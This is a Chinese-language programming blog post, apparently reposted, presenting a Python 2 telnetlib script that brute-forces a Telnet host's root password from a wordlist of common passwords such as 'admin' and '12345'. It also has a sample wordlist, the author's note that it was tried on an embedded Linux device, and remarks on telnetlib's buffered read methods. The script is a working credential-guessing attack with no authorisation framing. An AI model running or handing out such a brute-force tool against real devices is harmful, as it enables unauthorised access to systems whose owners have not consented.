Python實現Telnet自動連接檢測密碼


 Python實現Telnet自動連接檢測密碼

http://blog.csdn.net/bubu8633/article/details/40862445

最近在學習Python網絡相關編程,這個代碼實現了Telnet自動連接檢測root用戶密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,屏幕輸出停止。

 

代碼如下:

 

[python]  view plain copy 在CODE上查看代碼片 派生到我的代碼片
 
  1. #encoding=utf-8  
  2. import telnetlib  
  3. import time  
  4. import sys  
  5. import os  
  6.   
  7. def do_telnet(Host, Port, username, password, finish):  
  8.     #連接Telnet服務器  
  9.     tn = telnetlib.Telnet(Host, Port, timeout=1)  
  10.     tn.set_debuglevel(3)  
  11.       
  12.     #輸入登錄用戶名  
  13.     tn.read_until("login: ")  
  14.     tn.write(str(username)+'\n')  
  15.       
  16.     # 輸入登錄密碼  
  17.     tn.read_until("Password: ")  
  18.     tn.write(str(password)+'\n')  
  19.         
  20.     # 判斷密碼錯誤提示,如果沒有這個提示說明登錄成功  
  21.     if tn.read_until(finish):  
  22.        print "****** login incorrect!\n"  
  23.     tn.close();  
  24.       
  25. if __name__=='__main__':  
  26.     Host = raw_input("IP:")           # Telnet服務器IP  
  27.     Port = raw_input("Port:")        # Telnet服務器端口  
  28.     username = 'root'          # 登錄用戶名  
  29.     finish = 'incorrect'       # 密碼錯誤提示  
  30.     pw_file = open('.\\pw.txt','r+') #密碼文件  
  31.     Index = 0  
  32.     print time.asctime(),":   ****** begin","\n"  
  33.     while True:  
  34.         password = pw_file.readline()  
  35.         Index +=1;  
  36.         print Index,time.asctime(),":   ****** try","",username,":",password,""  
  37.         if len(password) == 0:  
  38.             break;  
  39.         do_telnet(Host, Port, username, password, finish)  
  40.     pw_file.close();  

 

 

密碼本pw.txt,內容例如:

 

[plain]  view plain copy 在CODE上查看代碼片 派生到我的代碼片
 
  1. root  
  2. admin  
  3. 12345  
  4. 888888  



 

輸出如下:



注:我這邊測試的目標主機是嵌入式linux系統,用戶名是root,密碼錯誤返回的是incorrect提示。你可能要根據目標系統不同修改用戶名和錯誤提示。

 

 

 

 

telnetlib提供好多方法可以得到數據,象read_until()是當結果中存在想要的信息時返回,read_some()是只要有結果就返回,read_very_lazy()是返回緩沖區中的數據。經過看代碼,telnetlib采用緩沖的處理方式,因此數據並不是一下子就返回的,而是先放在了緩沖區中。許多的讀取處理都是圍繞着這個緩沖區來的。而緩沖區的信息何時到達就不說不清楚了,也許很快,也許很慢,也許分別到達,也許一下子就收到了。因此,對於數據不一定到齊的這種情況,就采用了象read_until()來判斷緩沖區中的數據是否有想要的內容,如果沒有就等待,除非到達了超時時間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達式,功能要強大得多。

在網上還有一個叫 Pexpect 它好象功能強大,它支持多種協議,它的主頁就建議使用 Pexpect 來下載它的文檔。不過因為網絡不太好就沒有下來,不知道支不支持 Telnet 協議。

上面的程序再配以 ftplib 的功能就可以做一個遠程更新的維護程序。只不過如何判斷后台返回的信息,我沒有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什么別的方法。最主要的問題是,返回的數據不一定完整。好象沒有提供一個read_line()的方法。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM